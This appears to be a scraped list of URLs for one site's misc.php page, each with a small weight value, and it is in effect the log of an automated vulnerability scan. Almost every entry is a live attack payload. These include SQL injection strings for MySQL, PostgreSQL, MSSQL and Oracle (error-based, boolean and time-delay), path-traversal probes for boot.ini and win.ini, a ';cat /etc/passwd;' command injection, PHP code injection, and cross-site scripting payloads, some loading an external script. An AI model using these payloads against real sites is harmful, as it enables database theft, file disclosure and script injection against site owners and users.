http://www.cncml.com/misc.php?mod=(SELECT%20(CASE%20WHEN%20(73=34)%20THEN%200x627579696E76697465636F6465%20ELSE%2073*(SELECT%2073%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=(SELECT%20(CASE%20WHEN%20(92=73)%20THEN%200x627579696E76697465636F6465%20ELSE%2092*(SELECT%2092%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/misc.php?mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/misc.php?mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/misc.php?mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/misc.php?mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/misc.php?mod=................windowswin.ini 0.0001 http://www.cncml.com/misc.php?mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/misc.php?mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/misc.php?mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/misc.php?mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/misc.php?mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/misc.php?mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/misc.php?mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/misc.php?mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/misc.php?mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/misc.php?mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/misc.php?mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/misc.php?mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/misc.php?mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/misc.php?mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/misc.php?mod=ELT(11=23,0x627579696E76697465636F6465) 0.0001 http://www.cncml.com/misc.php?mod=ELT(81=81,0x627579696E76697465636F6465) 0.0001 http://www.cncml.com/misc.php?mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/misc.php?mod=MAKE_SET(51=19,0x627579696E76697465636F6465) 0.0001 http://www.cncml.com/misc.php?mod=MAKE_SET(89=89,0x627579696E76697465636F6465) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode 0.0027 http://www.cncml.com/misc.php?mod=buyinvitecode!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%00' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20RLIKE%20(SELECT%20(CASE%20WHEN%20(44=21)%20THEN%200x627579696E76697465636F6465%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20RLIKE%20(SELECT%20(CASE%20WHEN%20(87=87)%20THEN%200x627579696E76697465636F6465%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%22%20AND%20%22fu%22=%22hh 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%22)%20AND%2086=81%20AND%20(%22mf%22=%22mf 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25%22%29%20AND%2033%3D39%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25%27%29%20AND%2018%3D18%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25%27%29%20AND%2024%3D44%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25%27%29%20AND%2063%3D42%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25%27%29%20AND%2083%3D83%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%2012=79%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%2031=24%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%2061=61%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%2062=62%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%2076=76%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%2081=92%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%200x627579696E76697465636F6465%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=77)%20THEN%20'buyinvitecode'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=55)%20THEN%200x627579696E76697465636F6465%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%20'buyinvitecode'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%2527 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%2527%20AND%2016=16%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%2527%20AND%2034=73%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%5B%5D 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%5C%22 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%5C' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode%bf%27 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20'1H'='8H 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20'6f'='6f 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20'Ez'='gd 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20'KW'%20LIKE%20'ea 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20'do'='xw 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20'g3'='g3 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20'gP'%20LIKE%20'gP 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20'yJ'='yJ 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20OR%20'ZG'='ZG'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 